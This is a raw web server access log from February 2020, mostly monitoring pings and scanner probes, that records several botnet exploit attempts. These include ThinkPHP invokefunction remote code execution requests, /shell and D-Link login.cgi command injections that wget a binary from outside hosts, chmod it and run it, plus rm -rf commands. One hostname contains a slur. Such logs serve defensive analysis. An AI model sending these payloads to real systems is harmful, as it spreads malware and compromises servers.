200.168.65.196 - - [16/Feb/2020:17:05:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:17:05:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:06:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:07:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.42 - - [16/Feb/2020:17:07:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:17:08:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:09:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:10:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.115.162.232 - - [16/Feb/2020:17:11:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:17:11:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:12:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.26.154.92 - - [16/Feb/2020:17:12:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:17:13:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:14:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.87.29.136 - - [16/Feb/2020:17:15:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:17:15:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.29.174.199 - - [16/Feb/2020:17:16:42 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.174.199 - - [16/Feb/2020:17:16:43 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.174.199 - - [16/Feb/2020:17:16:43 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.174.199 - - [16/Feb/2020:17:16:45 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.174.199 - - [16/Feb/2020:17:16:46 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.174.199 - - [16/Feb/2020:17:16:46 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.174.199 - - [16/Feb/2020:17:16:47 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.174.199 - - [16/Feb/2020:17:16:47 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.174.199 - - [16/Feb/2020:17:16:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [16/Feb/2020:17:16:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:17:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:18:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.131.188.1 - - [16/Feb/2020:17:19:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:17:19:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:20:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:21:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
72.64.128.50 - - [16/Feb/2020:17:22:41 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [16/Feb/2020:17:22:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:23:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.43.223.108 - - [16/Feb/2020:17:24:21 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://111.43.223.108:54227/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
212.91.246.72 - - [16/Feb/2020:17:24:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:25:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:26:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.255.18.160 - - [16/Feb/2020:17:27:09 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [16/Feb/2020:17:27:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:28:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:29:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:30:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:31:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:32:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:33:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:34:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
141.8.2.97 - - [16/Feb/2020:17:34:53 +0100] "{D79E94C5-70F0" 501 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:17:35:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:36:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:37:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.232.48.194 - - [16/Feb/2020:17:38:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:17:38:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:39:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:40:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:41:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:42:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:43:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.26.154.92 - - [16/Feb/2020:17:44:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:17:44:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:45:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:46:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.122.243 - - [16/Feb/2020:17:47:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:17:47:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.214.174.85 - - [16/Feb/2020:17:47:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
218.158.126.72 - - [16/Feb/2020:17:48:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [16/Feb/2020:17:48:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:17:48:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.158.126.72 - - [16/Feb/2020:17:48:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:17:49:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:50:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:51:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:52:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:53:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.120.113.68 - - [16/Feb/2020:17:53:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
197.205.8.172 - - [16/Feb/2020:17:54:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:17:54:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.119.197 - - [16/Feb/2020:17:55:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [16/Feb/2020:17:55:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:56:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:57:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.205.8.19 - - [16/Feb/2020:17:58:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:17:58:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:59:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.137.182.73 - - [16/Feb/2020:18:00:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:18:00:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.67.90.103 - - [16/Feb/2020:18:01:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:18:01:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:02:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:03:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:04:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:05:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:06:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.202.8.83 - - [16/Feb/2020:18:07:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:18:07:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:08:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:09:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.0.21.45 - - [16/Feb/2020:18:09:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:18:10:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:11:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:12:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:13:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:14:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.245.162.192 - - [16/Feb/2020:18:15:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [16/Feb/2020:18:15:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.23.221.39 - - [16/Feb/2020:18:16:05 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [16/Feb/2020:18:16:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:17:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:18:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.224.69.121 - - [16/Feb/2020:18:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:18:19:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:20:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:21:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.250.148.11 - - [16/Feb/2020:18:22:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:18:22:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:23:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:24:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.61.41.133 - - [16/Feb/2020:18:25:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:18:25:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.68.207.75 - - [16/Feb/2020:18:26:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:18:26:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:27:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:28:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:29:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:30:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:31:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.72.206.126 - - [16/Feb/2020:18:32:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
151.72.206.126 - - [16/Feb/2020:18:32:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [16/Feb/2020:18:32:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:33:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:34:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:35:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:36:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:37:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:38:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.92.56.10 - - [16/Feb/2020:18:38:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
143.92.56.10 - - [16/Feb/2020:18:38:59 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
143.92.56.10 - - [16/Feb/2020:18:38:59 +0100] "POST /Admin59f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
143.92.56.10 - - [16/Feb/2020:18:39:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
143.92.56.10 - - [16/Feb/2020:18:39:21 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
143.92.56.10 - - [16/Feb/2020:18:39:21 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
